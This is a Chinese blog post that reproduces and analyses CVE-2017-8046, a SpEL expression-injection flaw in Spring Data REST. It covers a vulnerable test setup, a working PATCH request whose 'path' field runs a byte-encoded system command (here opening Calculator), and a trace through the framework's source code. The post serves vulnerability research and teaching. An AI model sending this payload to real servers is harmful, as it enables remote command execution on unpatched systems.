java86x_CVE-2017-8046 复现与分析

环境搭建

使用的项目为https://github.com/spring-guides/gs-accessing-data-rest.git里面的complete,直接用IDEA导入,并修改pom.xml中版本信息为漏洞版本。这里改为1.5.6。

a0c4defa6f30f2d94f8606e4f8c5aae8.png

之前尝试搭建了另一个验证环境,但是修改版本后加载一直报错,不知道是什么原因,写完在研究下。

直接运行,默认端口8080,访问http://localhost:8080/

0c90190e4dc1d78e282d21886468548d.png

people类有两个属性,firstName和lastName

1 packagehello;2

3 importjavax.persistence.Entity;4 importjavax.persistence.GeneratedValue;5 importjavax.persistence.GenerationType;6 importjavax.persistence.Id;7

8 @Entity9 public classPerson {10

11 @Id12 @GeneratedValue(strategy =GenerationType.AUTO)13 private longid;14

15 privateString firstName;16 privateString lastName;17

18 publicString getFirstName() {19 returnfirstName;20 }21

22 public voidsetFirstName(String firstName) {23 this.firstName =firstName;24 }25

26 publicString getLastName() {27 returnlastName;28 }29

30 public voidsetLastName(String lastName) {31 this.lastName =lastName;32 }33 }

根据rest api规定,用POST请求新建一个people,请求如下

POST /people HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 32

{"firstName":"w","lastName":"q"}

d4bfcf89bd9ab95b0a19e6b9ae8ccf52.png

此时已创建一个people对象,通过GET请求可以访问对象

a89f70c4acf4002b99123526275b1c6f.png

漏洞复现

需要用PATCH方法,而且请求格式为JSON。根据RFC 6902,发送JSON文档结构需要注意以下两点:

1、请求头为Content-Type: application/json-patch+json

2、需要参数op、路径path,其中op所支持的方法很多,如test,add,replace等,path参数则必须使用斜杠分割

这样我们就可以构造payload了

PATCH /people/1 HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Content-Type:application/json-patch+json

Upgrade-Insecure-Requests: 1

Content-Length: 256

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]

参数path存在代码注入,可执行系统命令,这里运行的命令是open /Applications/Calculator.app,成功弹出计算器

3c5e59cf728804280fd51d8ffa2bbb5d.png

漏洞分析

入口文件是位于org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()中

127b0146d61cd7a2b0601142069ac8d4.png

通过request.isJsonPatchRequest确定是PATCH请求之后,调用applyPatch(request.getBody(), target);。其中isJsonPatchRequest的判断方法是

1 public booleanisJsonPatchRequest() {2 //public static final MediaType JSON_PATCH_JSON = MediaType.valueOf("application/json-patch+json");

3 return isPatchRequest() &&RestMediaTypes.JSON_PATCH_JSON.isCompatibleWith(contentType);4 }

所以这就要求我们使用PATCH方法时,contentType要为application/json-patch+json。

继续跟踪进入到applyPatch()方法中:

1 T applyPatch(InputStream source, T target) throwsException {2 return getPatchOperations(source).apply(target, (Class) target.getClass());3 }

继续跟踪进入到getPatchOperations()中:

1 privatePatch getPatchOperations(InputStream source) {2 try{3 return newJsonPatchPatchConverter(mapper).convert(mapper.readTree(source));4 } catch(Exception o_O) {5 throw newHttpMessageNotReadableException(6 String.format("Could not read PATCH operations! Expected %s!", RestMediaTypes.JSON_PATCH_JSON), o_O);7 }8 }

利用mapper初始化JsonPatchPatchConverter()对象之后调用convert()方法。跟踪org.springframework.data.rest.webmvc.json.patch.JsonPatchPatchConverter:convert()方法

1 publicPatch convert(JsonNode jsonNode) {2 if (!(jsonNode instanceofArrayNode)) {3 throw new IllegalArgumentException("JsonNode must be an instance of ArrayNode");4 } else{5 ArrayNode opNodes =(ArrayNode)jsonNode;6 List ops = newArrayList(opNodes.size());7 Iterator elements =opNodes.elements();8

9 while(elements.hasNext()) {10 JsonNode opNode =(JsonNode)elements.next();11 String opType = opNode.get("op").textValue();12 String path = opNode.get("path").textValue();13 JsonNode valueNode = opNode.get("value");14 Object value = this.valueFromJsonNode(path, valueNode);15 String from = opNode.has("from") ? opNode.get("from").textValue() : null;16 if (opType.equals("test")) {17 ops.add(newTestOperation(path, value));18 } else if (opType.equals("replace")) {19 ops.add(newReplaceOperation(path, value));20 } else if (opType.equals("remove")) {21 ops.add(newRemoveOperation(path));22 } else if (opType.equals("add")) {23 ops.add(newAddOperation(path, value));24 } else if (opType.equals("copy")) {25 ops.add(newCopyOperation(path, from));26 } else{27 if (!opType.equals("move")) {28 throw new PatchException("Unrecognized operation type: " +opType);29 }30

31 ops.add(newMoveOperation(path, from));32 }33 }34

35 return newPatch(ops);36 }37 }

convert()方法返回Patch()对象,其中的ops包含了我们的payload。进入到org.springframework.data.rest.webmvc.json.patch.Patch中,

1 public Patch(Listoperations) {2 this.operations =operations;3 }

通过上一步地分析,ops是一个List对象,每一个PatchOperation对象中包含了op、path、value三个内容。进入到PatchOperation分析其赋值情况

1 publicPatchOperation(String op, String path, Object value) {2

3 this.op =op;4 this.path =path;5 this.value =value;6 this.spelExpression =pathToExpression(path);7 }

进入到pathToExpression()中

1 public staticExpression pathToExpression(String path) {2 returnSPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));3 }

可以看到这是一个SPEL表达式解析操作,但是在解析之前调用了pathToSpEL()。进入到pathToSpEL()中。

1 private staticString pathToSpEL(String path) {2 return pathNodesToSpEL(path.split("\\/")); //使用/分割路径

3 }4

5 private staticString pathNodesToSpEL(String[] pathNodes) {6 StringBuilder spelBuilder = newStringBuilder();7 for (int i = 0; i < pathNodes.length; i++) {8 String pathNode =pathNodes[i];9 if (pathNode.length() == 0) {10 continue;11 }12 if(APPEND_CHARACTERS.contains(pathNode)) {13 if (spelBuilder.length() > 0) {14 spelBuilder.append("."); //使用.重新组合路径

15 }16 spelBuilder.append("$[true]");17 continue;18 }19 try{20 int index =Integer.parseInt(pathNode);21 spelBuilder.append('[').append(index).append(']');22 } catch(NumberFormatException e) {23 if (spelBuilder.length() > 0) {24 spelBuilder.append('.');25 }26 spelBuilder.append(pathNode);27 }28 }29 String spel =spelBuilder.toString();30 if (spel.length() == 0) {31 spel = "#this";32 }33 returnspel;34 }

重新回到org.springframework.data.rest.webmvc.config.JsonPatchHandler:applyPatch()中,

1 T applyPatch(InputStream source, T target) throwsException {2 return getPatchOperations(source).apply(target, (Class) target.getClass());3 }

实际上PatchOperation是一个抽象类,实际上应该调用其实现类的perform()方法。通过动态调试分析,此时的operation实际是ReplaceOperation类的实例(这也和我们传入的replace操作是对应的)。进入到ReplaceOperation:perform()中,

1 void perform(Object target, Classtype) {2 setValueOnTarget(target, evaluateValueFromTarget(target, type));3 }4

5 protected voidsetValueOnTarget(Object target, Object value) {6 spelExpression.setValue(target, value);7 }

在setValueOnTarget()中会调用spelExpression对spel表示式进行解析,从而触发漏洞。

漏洞验证

明天用pocsuite写下poc,现在困了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值